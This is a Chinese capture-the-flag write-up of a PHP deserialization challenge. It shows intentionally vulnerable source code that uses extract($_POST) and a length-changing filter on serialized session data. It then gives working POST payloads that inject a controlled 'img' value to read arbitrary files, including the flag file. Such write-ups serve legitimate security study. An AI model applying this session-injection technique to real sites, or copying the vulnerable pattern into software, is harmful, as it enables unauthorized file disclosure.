[安洵杯 2019]easy_serialize_php

打开题目，得到源码

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

根据提示查看phpinfo，发现

接着审计代码
extract($_POST);，允许传递任何参数
$serialize_info = filter(serialize($_SESSION));，一看就是有问题的，序列化字符串怎么能随便修改
echo file_get_contents(base64_decode($userinfo['img']));，利用$_SESSION['img']读取文件

到此其实已经很显然了，post传递参数修改$_SESSION，利用它的不安全函数filter修改序列化后的字符串，使得修改后的序列化字符串在反序列化后$_SESSION['img']的值被控制

构造payload

_SESSION['flagflag']=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocAog";}

得到提示

<?php $flag = 'flag in /d0g3_fllllllag'; ?>

构造payload

_SESSION['flagflag']=";s:3:"aaa";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

得到flag